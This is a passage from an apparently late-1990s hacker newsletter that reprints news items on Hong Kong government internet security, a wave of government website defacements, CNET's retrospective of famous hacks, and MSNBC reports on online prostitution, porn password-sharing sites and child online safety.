      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      The Director of Information Technology Services for
      Hong Kong, Lau Kam-hung, said that they will
      strengthen security by establishing the Secure Central
      Internet Gateway (SCIG). This Gateway will enable
      government bureaus and departments to securely
      access the internet. It will include firewalls, virus
      detection systems and proactive intrusion detection
      systems. 

      Asia Pulse       
      http://library.northernlight.com/FD19991026820000180.html?cb=0&dx=1006&sc=0#doc
      
            
      Story Filed: Tuesday, October 26, 1999 10:52 PM EST 

      HONG KONG, Oct 27, 1999 (Asia Pulse via COMTEX) -- Promoting the awareness 
      of Internet-related data protection is an important goal of the 
      Government, the Director of Information Technology Services, 

      Mr Lau Kam-hung, said Tuesday. Speaking at a seminar on the protection of 
      data on the Internet today, Mr Lau said that personal data on the Internet 
      were vulnerable if they were not properly protected. 

      "White-collar criminals have taken advantage of the new business 
      opportunities brought by the rapid development and wide adoption of 
      Internet technology to commit crimes," Mr Lau said. 

      "Hackers and crackers are no strangers to us," he said. There had been 102 
      cases of hacking reported to the Police in the first seven months of 1999, 
      compared with 13 cases in the whole of 1998. 

      In order to keep its own information infrastructure secure, government 
      bureaux and departments follow a set of security guidelines to protect 
      their information technology (IT) resources. 

      Mr Lau said: "We will strengthen the security by establishing the Secure 
      Central Internet Gateway (SCIG) to enable government bureaux and 
      departments to gain access to the Internet, to disseminate information and 
      to communicate with the public over the       Internet through a secure 
      and centrally managed gateway." 

      "The SCIG, to be set up early next year, will adopt internationally 
      accepted Internet security standards, and will protect government bureaux 
      and departments by means of firewalls, virus detection systems and 
      proactive intrusion detection systems," he added. 

      Mr Lau also pointed out that the "Digital 21" IT Strategy had laid down 
      several initiatives to facilitate the conduct of business and other 
      transactions securely on the Internet. 

      Meanwhile, the Government is working towards the development of a Public 
      Key Infrastructure (PKI) to provide a framework for authenticating the 
      identity of participants performing electronic transactions in Hong Kong. 

      The PKI will not only allow government services to be delivered securely 
      over the public networks, it will also lay a foundation for the delivery 
      of electronic services of other organisations. 

      "To protect consumer interests and enhance users' confidence in electronic 
      transactions, my department is going to set up a Certification Authority 
      Recognition Office by the end of the year," Mr Lau said. 

      He noted that Certification Authorities (CAs) were free to apply for 
      recognition on a voluntary basis, but only those CAs which had achieved a 
      trust standard and adopted a common and open interface in their operation 
      would be recognised. 

      The Government also introduced the Electronic Transactions Bill into the 
      Legislative Council in July this year, to provide the necessary legal 
      framework for the conduct of electronic transactions in Hong Kong. 

      (Hong Kong Government Information Service.) ASIA PULSE 

      Copyright © 1999 Asia Pulse Pte Ltd 
      
      @HWA
      
      
38.0  .mil and .gov Defacements on the Increase 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/      


      contributed by Ender Wiggin 
      If you haven't been paying attention recently the
      number of government and military web sites that have
      been defaced has increased dramatically over the last
      few days. They have been twelve such defacements in
      the last 24 hours including the second defacement of
      US Army Reserve Command. 

      Attrition Mirror 
      http://www.attrition.org/mirror

      Fuqrag, the guy who defaced a server hosted at Fort
      Meade (headquarters of NSA) has granted an interview
      with OSALL. 

      Fuqraq Interview - via OSALL       
      (see elsewhere this issue)
      
39.0  CNet Chooses Top Ten 'Hacks' 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Sarcastro 
      CNET.com did a feature report on the top 10 greatest
      hacks of all time, of course by 'Hack' they mean some
      sort of illegal activity. Somehow the Morris Worm only
      made number 10 and they completely missed the
      Chinese Human Rights defacement. Not to mention that
      this is more of a cheap stunt to get advertising revenue
      by placing each of the ten on its own separate page. So
      to save you the aggravation here are the top five that
      they chose, 5. InterNic redirection to AlterNic, 4. Air
      Tran defacement, 3 New York Times Defacement, 2.Drudge 
      Report Defacement, 1. War Games the movie
      (How did that get there?) Anyway unless your bored this 
      morning don't bother reading this. 

      C | Net      
          
      http://home.cnet.com/specialreports/0-6014-7-1420567.html?tag=st.cn.1fd2.
      tlpg.6014-7-1420567
      
      A CNET Special Report
           By Matt Lake
           (10/27/99)
   
      Hackers. You can't even use the word without ticking someone off. 
      Upholders of the status quo hate that the existing state of affairs is 
      being undermined by sociopathic cybervandals. Old-school hackers think of 
      their work as exploratory and prefer to call people who break into servers 
      for mischief crackers.

      But it's those mischief makers who get attention. Their hacks make the 
      front pages of world newspapers and cause fear and hysteria. Among these 
      types of hacks, there are gradations of severity. Some hacks pose a 
      threat to
           national security; some hacks are merely an annoying form 
      of political activism.

      For this retrospective, we selected some of the most creative, subversive 
      work by these Web "hacktivists." You'll find examples of mischief dating 
      from the early days of computing to the latest antiestablishment 
      outbursts. Rather than
           trying to cause any serious trouble, many of 
      the nouveau crackers we selected like to target Web sites they oppose for 
      political reasons, such as those of big government, business, or 
      organizations whose political views are at loggerheads with their own. 
      This breed of hacktivists raises a smile from many who share their 
      beliefs, even if their methods seem a little extreme.

      One name you won't see here is that of hacker poster boy Kevin Mitnick, 
      who was indicted on 17 counts of computer fraud, wire fraud, damage, and 
      unauthorized access. The hacks he got caught for weren't merely public 
      displays of
           bravado; they were more like industrial espionage.

      Of course, we don't endorse hacking of any kind. But it's an integral 
      part of Web culture, and like anybody else, we love a sensational story. 
      So read on for our favorite hacks of all time.

       It's 1988. Robert Tappan Morris, the 22-year-old son of a security 
       expert for the National Security Agency and a bit of a geek in his own 
       right, decides to write a benign program to map every server on the 
       Internet. Trouble is, he's not
           that careful a programmer. 

      Check Your Math
           His program, now known as the Worm, was supposed to 
      hop between servers on the Internet, copy itself onto each server, and 
      move on. However, a misplaced decimal point in the code made the Worm 
      copy itself not once but indefinitely on each server. More than 6,000 
      servers crashed--one out of every ten servers on the Internet at the 
      time. It took a full day to get the Net back online, by which time 
      network administrators wanted blood. 

      That's how Morris ended up being sentenced to three years of probation, 
      400 hours of community service, and a $10,000 fine. His defense attorneys 
      argued that the accident had not actually deleted files on any of the 
      servers, but that
           was considered small comfort considering the lost 
      hours of service and the cost in administrator time to fix the problem. 

      Stupidity or Conspiracy?
           Indeed, many considered his punishment 
      suspiciously lenient. Conspiracy theorists thought that Morris was just a 
      front man covering for the real perpetrators: his dad's NSA cronies. And 
      so, for the underground tech community, the great Worm attack of 1988 was 
      a twofold blessing: It showed how defenseless Net servers were, and it 
      pointed a suspicious finger at the community's enemy, the government.

       
       The hacker community widely reviled the 1995 movie Hackers as being 
       totally unrealistic.

       Hard Copy
             So it was hardly a surprise when the movie's site got 
       hacked and the perpetrators replaced glowing Hollywood-style promo copy 
       with a scathing parody of a movie review: Dade is a half-wit actor who's 
       trying to fit in to his new role. When a seriously righteous hacker 
       uncovers MGM/UA's plot to steal millions of dollars, Dade and his fellow 
       throwbacks of thespianism...must face off against hordes of 
       hackers....all with the aid of his Visa card. Want its number? 

       What was surprising was that MGM/UA kept the hacked site live, where it 
       remains to this day. The studio also posted a letter from the hacker, 
       which read, "I would like to offer an apology for my actions of last
             
       night. There was no malice intended, I just got carried away. I 
       understand you may not appreciate the humor of my message; I agree, it 
       was in poor taste and went entirely too far." The message was so odd for 
       a supposed subversive hacker that some wondered if the studio itself had 
       been behind the hacking.

      Jurassic Hack
           The same question came up the next time a movie Web 
      site was attacked. Jurassic Park: The Lost World's site was hacked 
      shortly before the movie's release. CNN and CNET News.com posted the news 
      of a benign hack, which replaced the movie's trademark tyrannosaurus with 
      a duck and the legend "Duck World, Jurassic Pond." 

      Within 24 hours, a different story was out: online zine Beta pointed out 
      that the duck was a professionally rendered and functioning image map 
      with a time stamp two days earlier than the original Lost
           World 
      graphic. The report concluded that "this was a publicity stunt and it's 
      pathetic." (The following day, Beta toned down its original message.) 
      Chances are, we'll never know for sure if these hacks were real. 

      But the incidents demonstrated that hacks had become a reliable way to 
      make the news--so reliable that commercial ventures might begin to co-opt 
      hackers' methods for publicity stunts. 

       
      In 1996, the biggest social issue in the online community was the 
      Computer Decency Act (CDA), an effort by the United States government to 
      control Internet content considered harmful to minors, specifically 
      pornography. Most of the Net community thought that the CDA veered into 
      censorship and was impossible to enforce, but only a dedicated few had 
      the gall to mess with the United States Department of Justice's Web site 
      to protest the law. 

      Legalese Becomes Hackspeak
                                                                     
      The screed posted on the DOJ Web site in the early morning of Saturday, 
      August 17, 1996, was discovered by system administrators within 
      hours--but it took them two days to fix the site and restore it. 
      Meanwhile, visitors were treated to a supremely lengthy, often boring, 
      sometimes inspired parody of the  DOJ's legalese statements about the 
      CDA, including the page title "U.S. (Japan's) Department of Injustice" 
      and a lot of sophomoric humor. For example:

                SEC. 502. OBSCENE OR HARASSING 
                USE OF TELECOMMUNICATIONS 
                FACILITIES UNDER THE 
                COMMUNICATIONS ACT OF 1934. 
                Section 223 (47 U.S.C. 223) is
                                                                                             
                amended--(iii) any usage of the 
                word "bunny-rabbit" shall result 
                in a flogging of great 
                magnitude. If usage of the word 
                "bunny-rabbit" exceeds that of 
                forty-two, then the defendant 
                will be found guilty of heresy 
                and sentenced to [punishments 
                including]...forced coding in 
                Basic.

      On the whole, though, the hack came off as puerile rather than witty. It 
      did reflect the Net community's intense opposition to the CDA, which was 
      eventually overturned by the Supreme Court. 

      While some hackers are interested mostly in crowing about their technical 
      prowess, others merely have strong opinions.

      Virtual Red Paint
           Take, for example, the Ghost Shirt Society. This 
      group of hackers attacked Kriegsman Furs and Outerwear in November 1996. 
      Kriegsman, an established luxury clothier, showed a full-length, white 
      fox fur coat on its opening page, with the slogan "Our materials and 
      design are steeped in tradition and alive with style." The animal rights 
      hacktivists changed that front page to show a monochrome picture of a 
      similar fur coat daubed in red and the words "fur is dead."

   

      Like PETA activists who chuck red paint over customers as they leave 
      furriers, the Ghost Shirt Society thought of themselves as educative 
      rather than antagonistic. On the hacked page, they left links to sites 
      dedicated to the rights of
           our four-footed friends, including 
      Envirolink.org's Animal Rights FAQ and the American Anti-Vivisection 
      Society.

      A Most Moderate Radical
           And in a rare case of restraint, they didn't 
      brag about how they "owned" the site's administrators--a typical hacker 
      boast. In fact, the opening paragraph of their revised front page was a 
      sympathetic and considerate apology to the technical staff:

           I did not hack this site in order to cause trouble for anyone 
           (except maybe Kriegsman Inc.). I fully understand the 
           responsiblities of a system administrator and understand it is a 
           thankless job. This is in no way the
                     administrator's fault 
           (or whoever is in control of security at ShopTheNet). I tried to do 
           this as carefully as I could, in order not to cause any problems for 
           the site administrator(s). Anyway, this was done in the name of 
           animal rights. 

      Even leather-clad, carnivorous fur fiends couldn't help but notice this 
      moderate tone, though it was placed next to pictures of several cute baby 
      animals with the sentence "This is what fur looks like before the 
      gassing, clubbing, and
           electrocution." 

      While no one was ever apprehended for this misdeed, the Kriegsman Furs 
      hack will go down in history. Instead of claiming the usual motivations, 
      such as self-aggrandizement, mischief, or the defense of some vague 
      doctrine about
           digital freedom, these hackers led the way to hacking 
      as a form of nonviolent political opposition.

      Spoofing is the interception and jumbling of information from a 
      content-providing Web server before it reaches a person browsing the 
      site. This type of content manipulation, very popular in 1997, is 
      relatively benign in that it doesn't
           actually affect the original 
      server--and it's often very funny. 

      Interactive Hacking
           Two of the best examples, in our opinion, were 
      smeG and MetaHTML's Zippy server. In both cases, visitors were willing 
      participants in the spoof. To start the fun, surfers would enter the URL 
      of any site they wanted spoofed into a form at the spoofing site. 

      The smeG server intercepted the content coming off a Web server and 
      turned it into a mirror image of itself--with words, images, and layout 
      all reversed. This made for some very perplexed surfers. 

      Harmless Gibberish
           The Zippy server inserted random quotes from Bill 
      Griffith's aphasic cartoon character into the text of a page. At first 
      glance, the spoofed sites seemed perfectly normal. But as this Zippified 
      extract from the White House's site shows, they weren't:

           Tipper Gore is the wife of Vice President Al Gore. I feel real 
           SOPHISTICATED being in FRANCE! She is a well-known child advocate 
           and actively involved with issues relating to mental health and 
           homelessness. How do
                     you explain Wayne Newton's POWER over 
           millions? It's th'moustache&have you noticed th'way it radiates 
           SINCERITY, HONESTY & WARMTH? It's a moustache you want to take home 
           and introduce to Nancy Sinatra!

      To participate in the mayhem yourself, pay a visit to the MetaHTMLsite 
      and enter your favorite URL.

      http://www.metahtml.com/apps/zippy/welcome.mhtml

      When Network Solutions (also known as InterNIC) began charging $100 to 
      register domain names in 1995, the company didn't make many friends among 
      Web aficionados. Up until then, registering and maintaining domain names 
      was
           free, and people objected to the fact that one company 
      controlled so much Web real estate.

      There were a few alternatives to the InterNIC, one of which was AlterNIC, 
      the brainchild of archhacker Eugene Kashpureff. AlterNIC offered a 
      different way to register domains, but since InterNIC had a lock on .com 
      domains, AlterNIC
           used alternatives, such as .ltd and .sex.

      Please Use Alternate Route
           In July 1997, Kashpureff used his 
      knowledge of the domain name system (DNS) to divert traffic from Network 
      Solutions. For one whole day, people who entered www.internic.net into 
      their browsers found themselves not at the official domain registry but at 
      AlterNIC. Kashpureff dubbed this maneuver Operation DNS Storm, and many 
      applauded him for pulling it off. It was also illegal, and unlike most 
      hacker/crackers, Kashpureff had left his fingerprints all over it by 
      sending DNS traffic to his own domain. Sensing he was in trouble, 
      Kashpureff fled his native Washington for Canada to escape the law.

      Eventually, however, he was arrested, arraigned, and found guilty of one 
      count of computer fraud the following year. As for the battle over domain 
      names, it's still raging, and AlterNIC, now overseen by Kashpureff's 
      partner, is still
           providing an alternative.

      Earlier this decade, several of ValuJet Airlines' planes crashed because 
      of poorly maintained equipment. To separate itself from a name that had 
      become synonymous with air disaster, the company became AirTran in 1997. 
      Under the
           banner headline "The Making of a New Airline," the 
      company's Web site prominently featured a press release announcing the 
      changes. 

      It'll Take More Than a Name Change
           But the announcement only 
      attracted hackers, who quickly attacked the site and littered the pages 
      with sick, locker-room humor. The proud banner headline was replaced with 
      "So we killed a few people. Big deal." 

   

      The press release was similarly edited:

           ATLANTA, Sept. 24, 1997--ValuJet Airlines today changed its name to 
           AirTran Airlines and along with its merger partner AirTran Airways 
           introduced a new business strategy designed to bring dismemberment 
           to a broader
                     travel audience. The airline said that its 
           objective is to make air travel more attractive to business 
           travelers and even more convenient for suicidal maniacs. 

           "Over the past year we've renewed our focus on the basics of our 
           business with safety, reliability and operational excellence as our 
           goal," lied Corr, who joined the carrier in November 1996... 
           "AirTran's mission is to kill air
                     travel customers who can 
           actually afford to die. It's that simple." 

      The parody dipped into even more crass humor than these examples (if you 
      can believe that).

      Sick Jokes Will Prevail
           AirTran promptly removed the hacked page, 
      and the hackers were never caught. They did, however, send a copy of the 
      page to 2600 Magazine for posterity. And the moral of the story is that 
      no matter the medium, when it comes to mass tragedy, it's only a matter of 
      time before the sick jokes start.

      The New York Times is not a popular newspaper among hackers. The main 
      reason is that Times writer John Markoff brought national attention to 
      Kevin Mitnick's story--even cowriting the book Takedown with security 
      expert Tsutomu
           Shimomura, who led the team that eventually nabbed 
      Mitnick.

                            Don't Mess With Our Hero
                                                       
                            A group calling themselves HFG (Hacking for 
                            Girliez) decided to engineer their own takedown. On 
                            September 13, 1998, the main page of the New York 
                            Times's site was replaced by an eccentric diatribe 
                            that attacked John Markoff and another writer 
                            working on a book about hackers. To the average 
                            person, this hack looked like gibberish, littered 
                            with mostly uppercase phrases like "TH1Z 0N3 IS F0R 
                            Y3W."

                            Those able to decipher the hack could read that HFG 
                            was concerned not just with raising consciousness 
                            in support of Mitnick, but also with grandstanding 
                            about its own hacks. The hackers wrote of their
                                                       
                            own "rooting" exploits (that is, hacking the root 
                            directory of a server) at sites including those of 
                            Penthouse, Motorola, and an ISP in New Mexico. And 
                            those who made it to the end of the page found a 
                            statement that more interesting material could be 
                            found in the HTML source of the hack. 

      And by the Way, Here's Our Manifesto
           Sure enough, the source 
      contained comments in conventional spelling and capitalization, detailing 
      HFG's beliefs and exploits and quoting liberally to bolster its position, 
      as with this quote from G.K. Chesterton: "A good joke is the one ultimate 
      and sacred thing which cannot be criticized. Our relations with a good 
      joke are direct and even divine relations."

      In the end, the New York Times fixed its site, and the perpetrators got 
      away, proving that even the most venerable of newspapers is no match for 
      cybervandals with a grudge. 

      Hackers live for the opportunity to promote themselves. They love 
      grandstanding. Some might say that they have a lot in common with 
      Internet gossip columnist Matt Drudge. 

      Same Look and Feel
           So it wasn't surprising when a group calling 
      themselves United Loan Gunmen took a jab at the root directory of the 
      Drudge Report on September 13, 1999. Except for a change to the site's 
      banner--the title was changed to ULG Report--the front page maintained the 
      spartan, almost graphic-free look of the regular Drudge Report.

   

      The difference was in the headlines: the big banner read "United Loan 
      Gunmen take control of Mike (sic) Drudge's data stockyard to once again 
      show the world that this is the realm of the hacker." The top few 
      headlines covered hacker
           issues, such as "Kevin Mitnick still in 
      jail" and "2600 Magazine continues to get worse over the last year, and 
      the Web page is still crappy to boot." 

      A Little Goes a Long Way
           But except for those few changes, the site 
      remained pretty much the same, with the site's search engine and links to 
      Matt Drudge's regular column and archives still functioning. This may 
      have been because the hack was a rush job, but it is noted in 2600 
      Magazine's Hacked Sites archive as a good example of a "less is more" 
      hack.

      Once the smoke cleared, Drudge regained control of his root directory, 
      and the unidentified hackers presumably went on to bigger and better 
      hacks. As for the moral of the story, well, maybe just that Drudge got a 
      taste of his own
           medicine. 

      A single hack launched an amazing career for "David Lightman," the 
      teenage identity assumed by a 21-year-old man in the early 1980s. David 
      began his hacking career by adjusting school grades on a high school 
      computer, then went
           looking around for more challenging fare. 

      Taking on the Pentagon
           He found it by accidentally logging on to a 
      Department of Defense computer and initiating a program there called 
      Global Thermonuclear War. Unbeknown to him, this actually gave him 
      complete control over the U.S. nuclear arsenal. In his enthusiasm to 
      explore the limits of the program, he threatened then-Soviet Russia to a 
      nuclear standoff--and brought the world to the brink of destruction.

      Thankfully, disaster was averted, and David became quite a celebrity as a 
      result. He began rubbing shoulders with Hollywood's glitterati, such as 
      Michelle Pfeiffer, Jennifer Jason Leigh, and Meg Ryan. He also buddied up 
      to Marlon
           Brando, Jim Carrey, George Segal, and James Earl Jones. 

      Plays a Hacker on TV
           David Lightman's real name is Matthew 
      Broderick, of course, and the role he played in 1983's WarGames was pure 
      fantasy. Real-world hackers--despite their posturing, bluster, talents, 
      and occasional good intentions--couldn't hope to
      get within a thousand yards of Meg Ryan. The closest they can aspire to is 
      hacking the Internet Movie Database.

      But the social life of hackers aside, Lightman's make-believe hack is what
      catapulted hacking into the public consciousness and gave us the idea that
      hackers can take control of fundamental systems, such as the Department of
      Defense computers or the electrical grid. Hackers like to foster such 
      misconceptions, but in reality, no one's ever come close to the computers
      that control the nuclear arsenal or any such system. And let's just hope 
      no one ever does. 
      
      @HWA

40.0  MSNBC Special Report 
      ~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by UNREAL 
      An MSNBC Special report entitled "Internet underground"
      Really isn't all that special. They have gathered
      together a lot of old content and repackaged it under a
      new heading and then called it a special report. Unless
      you have been living in a cave the last six months I
      wouldn't bother. (Actually this may be months old, first
      time I have seen it.) 

      MSNBC       
      http://archive.msnbc.com/modules/hacking/default.asp
      
      
      Step warily into the Internet Underground, home to sex traders,
      scam artists, hackers and “crackers,” and a place where you had best
      watch your back and keep an eye on your kids.
      
      SEX The seedier side of the net's underbelly...
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      By Mike Brunker 
      MSNBC

      June 2 —  Demonstrating the adaptability that
      helped earn it the title of “world’s oldest
      profession,” prostitution is thriving on the
      Internet, slipping into comfortable new guises
      like sex-for-money chatrooms and Web sites
      showcasing fancy call girls and boys. But with
      the continued expansion of the online sex trade,
      and the appearance of numerous civilian
      vigilante groups determined to halt its spread,
      pressure is building to rein in the hustlers and
      hookers of cyberspace.
      
      THE USE of the Internet to advertise prostitution has
      received far less attention from law enforcement, politicians
      and the media than its notorious cousin, online pornography. 
      But workers on the front lines of cybercrime say it is a
      growing concern, particularly when it involves minors selling
      their bodies to the highest bidder in chatrooms.
      Crusaders like Pete Hampton, a former lawman who
      established the Web Police to serve as an online clearing
      house for complaints of online criminal activity, say that when
      they attempt to bring prostitution cases to the attention of
      authorities, they are often met with indifference.
      “We find very few will even touch it,” Hampton said.
      
      A DIFFICULT ISSUE
      “It’s hard to bring this issue to an investigative agency’s
      attention,” agreed Linda Fairstein, chief of the sex crimes
      prosecution unit of the Manhattan District Attorney’s Office.
      “...Government resources, especially with local police
      agencies, don’t begin to compare with what what Web-literate
      people can do in terms of crime, prostitution in many ways
      being the least of it.”
      Federal authorities, however, insist that they have quietly
      been pursuing the most serious cases for some time.
      Peter Gulotta, head of the FBI’s Innocent Images task
      force in Baltimore, told MSNBC that the bureau is currently
      pursuing several cases involving online prostitution rings that
      extend across state lines, a prerequisite for federal
      involvement. Similar cases have been brought in Dallas, Miami
      and Boston over the past several years, he said.
      Federal cases have almost exclusively focused on cases
      involving children, but local authorities are beginning to
      demonstrate a limited interest in virtual vice. 
      
      Police in Florida, Nebraska and New Jersey have in recent months
      busted at least five online “escort” services that allegedly were
      providing sex for money. Only one involved minors: A case in Palm
      Beach County, Fla., in which 27-year-old Jay Ryan Quinn stands
      accused of prostituting underage runaway girls through his Web site.
      Though there are no numbers to quantify the
      prevalence of prostitution operations on the Internet, as neither
      the federal government nor the states keep track of such
      cases.
      But Hampton, of the Web Police, says he and his staff
      receive an average of 50 to 75 reports of prostitution each
      week out of a total of 1,500 complaints.
      Echoing the complaints of police departments around the
      world, Hampton says he and his staff engage in triage to focus
      on the most important cases — those involving children.
         "We have to prioritize,” he said. “... If this is
      simply a matter of a call girl service or an individual female
      advertising her services on the Internet, and she’s of legal age
      of consent, this is not a priority case. If this is someone
      advertising child prostitution or selling children on the Internet,
      it does become a priority case.”
      
      A DECOY’S VIEW
      Donna, a volunteer undercover decoy who lures
      chatroom pedophiles into the arms of police, says anyone who
      doubts how widespread the online sex trade has become
      should try posing as a 15-year-old girl in an adult chatroom
      like AOL’s “Barely Legal” forum. 




      Donna, a concerned
      parent, goes undercover
      to prowl chatrooms for
      pedophiles.



      "I can count to 10, and by that time I’m already
      being hit on,” said Donna, who asked that her last name not be
      used to diminish the threat of retaliation from those she has
      helped prosecute. “... Individuals are coming in and sending
      me private messages asking me, ‘Do I like 40-year-old men?’
      and asking me about different sexual situations. I’ve had
      them mail me plane tickets. I’ve had them offer me their condo
      on the beach if I just come stay for the week. Anything,
      anything that a child will want.
       "If you’re a troubled teenager, it’s an absolutely
      easy way to make quick money. ... You can almost have an
      auction. You can sit there and say, ‘Well, this guy just offered
      me 50 bucks.’ ‘Well then, I’ll offer you $100.’ And she can
      barter herself and set the time and place. How easy is that?”
      
        In the Quinn case, the tip that launched the investigation
      came from one of the alleged hookers. But more and more
      often, citizen vigilantes like Donna and agencies that focus on
      sexual abuse of children are playing a key role in bringing
      prostitution cases to the attention of authorities — and in
      particular, those that involve minors.
      Ruben Rodriguez, director of the National Center for
      Missing and Exploited Children’s Cyber Tipline, said his staff
      has seen substantial growth in the number of pedophiles using
      chatrooms to lure unsuspecting children teens into situations
      where they are likely to turn to prostitution. 


       -=-
      
       Sex Password Sites
       ~~~~~~~~~~~~~~~~~~
       
       
      Password sites: free thrill or a ploy?
                 
      They may look illicit, but some are in cahoots with pay sites
                                 
      The 70 to 75 password sites on the Web have similar
      appearances -- and content.

                       
                                                      By Mike Stuckey
                                                                MSNBC
       Pssst! Hey, buddy, wanna look at the latest, greatest Internet
       porn for free? Pictures, videos, erotic stories and live sex 
       chats — it’s all yours for nothing.
       
           LURKING AMONG thousands of sites in the World
       Wide Web’s red-light district are some that appear to offer
       an extra layer of illicitness. So-called “password” sites have
       proliferated for years, appearing to grant their visitors free
       access to a cornucopia of otherwise expensive adult
       content. In truth, however, while some adult Webmasters
       rail against the password sites, others are in league with
       them and actually use them as part of their marketing efforts.
              The password sites have a similar look, with lists of
       adult Web site addresses, user names, passwords and
       critiques. Often, surfers don’t even need to log in to the pay
       sites manually; instead, the password site operators code
       their lists so a single mouse click appears to take porno
       pirates right through security screens.
              So what’s the attraction in ripping off a bunch of
       passwords to adult Web sites and giving them away?
       Money, naturally.
              

                 “Go to my site,” says one New Zealand Webmaster in
       a telephone call, “and I’ll give you a tour.” This entrepreneur
       — we’ll call him Joe — spoke with MSNBC on the
       condition that his name not be used and says he is
       “probably the biggest” password baron on the Web. “I do a
       million bucks a year.” That couldn’t be confirmed, but other
       password and pay-site operators generally confirmed his
       comments on how the business operates.
              On this day, the first thing a surfer sees on Joe’s home
       page is a banner ad for a hard-core sex site.
              
       PAY-PER-CLICK
              “That’s pretty much the first way we make money,”
       Joe says. Like mainstream Web advertisers, porn peddlers
       pay for every click their banner ads generate. It doesn’t
       stop there. “If people go to that site and buy in we get half
       that money.”
              More lucrative, says Joe, is the sale of the top positions
       in the password lists themselves. The first “purloined
       password” on his list is really an ad for a site that paid
       $14,000 for a month’s run. Users who click on it, in fact,
       are whisked to a page full of porn snippets and colorful
       exhortations to sign up for membership, nothing that any
       Web surfer can’t come across on his own.
              Joe also sells the second and third spots on his
       password list, which also take users to membership
       come-ons rather than actual password-protected porn.
       Below the top three, however, are some passwords that
       appear to give users illicit access to adult content on pay
       sites.
              Among pay-site operators who have found passwords
       to their pages listed on such sites is Seattle-based Internet
       Entertainment Group, one of the kingpins in Web
       pornography.
              “We’re very much against the password-theft sites,”
       says IEG President Seth Warshavsky, who points out that
       in addition to protecting revenue, passwords are intended to
       keep underage users from viewing pornography. “We
       actually quite regularly send cease-and-desist letters” to the
       operators of such sites.
              IEG’s attorney, Derek Newman, provided MSNBC
       with a copy of a letter his firm sends to operators of Web
       sites that post passwords to IEG pages. Citing federal and
       state laws, the three-page document makes a number of
       legal threats to such Webmasters, from lawsuits to vast
       fines. 
     
              “As a general rule, the password sites are very
       responsive to the cease-and-desist letters,” Newman says,
       and IEG has never sued one.
              That’s true, say New Zealand-based Joe and other
       password-site operators. “We don’t need to run them. We
       just pull them off our sites.”
              
       FTC STEERS CLEAR
              The issue hasn’t appeared on the radar screens at the
       Federal Trade Commission, which has taken the lead role
       among U.S. agencies that investigate and prosecute fraud
       on the Web. An FTC spokeswoman says it would be
       considered a “business-to-business” issue, calling for civil
       action.
              While Warshavsky believes password sites buy and
       hack for their wares, Joe and others say many of the
       passwords are simply given to them by users who signed up
       at a pay site and then felt ripped off. “There’s a lot of
       absolutely ruthless Webmasters out there,” Joe says,
       operations that overcharge users’ credit cards or greatly
       exaggerate the content on their sites.
              Password sites are “almost the crucible that people use
       to get them back,” says Joe.
              Aside from simply being given the passwords, Joe and
       other Webmasters say, there are other ways to get them.
       Many sites simply copy passwords from other password
       sites. A British Webmaster tells of software that “basically
       just sits there, goes out every two to three hours and looks
       for passwords on every site and copies them.” A tour of
       password sites shows this to be true, with many of them
       listing the same sites, logons and passwords, sometimes in
       the same order.
              
       HACKING FADES
              Then there’s hacking, either by using programs to try
       many combinations of common user names and passwords
       over and over again or simply stealing entire files of
       passwords. But password posters say that as security has
       grown on the Web those methods are harder than they used
       to be and not employed as often. 
              Whether Webmasters like Joe are given the passwords
       or steal them, it’s up to pay-site operators to protect
       themselves, says one. Traci Earl operates a number of
       Netherlands-based adult pay sites and does business with
       password sites. 

                             “The problem is not password
                      sites, which have always been around
                      and are simply a fact of life in this
                      business,” Earl says. “The real
                      underlying problem is that of insecure
                      passwords. Passwords get shared in
                      offices, in bars, by email, by being
                      posted to conferences and
                      newsgroups and by a thousand other
       routes.”
              Earl says there is a “simple, foolproof and highly
       necessary strategy for anybody who is serious about running
       adult pay sites” to deal with the problem of improper
       password use. All they need do, Earl points out, is run
       logging software that lets them know how often and from
       how many different locations user IDs and passwords are
       being used. It quickly becomes obvious when one is being
       abused and it can then be rendered inoperable.
              
       ‘IRRELEVANT’
              “Serious adult webmasters know that once the problem
       of insecure passwords has been fixed then the password
       sites are at worst irrelevant and at best are a potential
       source of traffic,” says Earl.
              For Webmasters like Earl, that traffic has generated an
       “if-you-can’t-beat-’em-join-’em” attitude.
              That, says Joe, has led to a bit of a boom in password
       sites. From a handful several years ago, the sector has
       grown into 70 to 75 sites, he and his European colleagues
       estimate. “We have half a million unique people come
       through our site a day.”
              Joe himself will post passwords to his own pay sites as
       if they are “hot,” then kill them a short time later. Users
       quickly flood the pay site and some will sign on as paying
       customers, he says.
              Other pay-site Webmasters use ruses in conjunction
       with getting their passwords posted on sites like Joe’s. One
       is to send users who attempt to use “illicit” passwords to an
       ominous warning screen that tells them their identity has
       been noted and they will be in big trouble for trying to use a
       stolen password if they don’t sign up at once for a paid
       account.
              “It’s a load of rubbish,” says one European
       password-site operator. “It’s just a way to get you to join.”
              But such tactics work, says Earl, because “You have to
       remember that the customers for pay sites are not
       sophisticated surfers. They are, in the main, middle-aged
       and new to the technology.”
              That also explains the draw of password sites
       themselves. “The lure of something for nothing is very
       powerful.” Earl says. “In truth, there is very little available
       on pay sites that is not available for free somewhere on the
       Net if you have the skills and the knowledge to know where
       to find it.”
              The password-site operators themselves have come up
       with some inventive ways to explain what they’re doing. A
       “disclaimer” on some of the sites notes that it is intended
       solely to alert pay-site operators that their passwords have
       been compromised.
     
       You can almost hear the winking.
       
       Protecting your kids
       ~~~~~~~~~~~~~~~~~~~~
       
       By Bob Sullivan
       MSNBC

       Many safety guides for children using the Net
       read as if they were written by Robert Fulghum.
       Everything I ever needed to know to stay safe in
       the virtual world, I learned in the real world.
       Don’t go scary places by yourself. If someone is
       making you uncomfortable, just leave, and tell
       your parents. Don’t look at pornographic
       pictures, and you won’t have to worry about
       them. But most important — don’t talk to
       strangers, and never give them personal
       information. Unfortunately, it’s not that simple.
       
             IF IT WERE SIMPLE, you can bet that earlier this
       month there wouldn’t have been 100 alleged pedophiles
       arrested and tens of thousands of pictures of children — as
       young as 2 years old — seized. See the MSNBC story.
              It’s not simple because strangers online are hard to
       identify, since the Net is the land of make-believe. And just
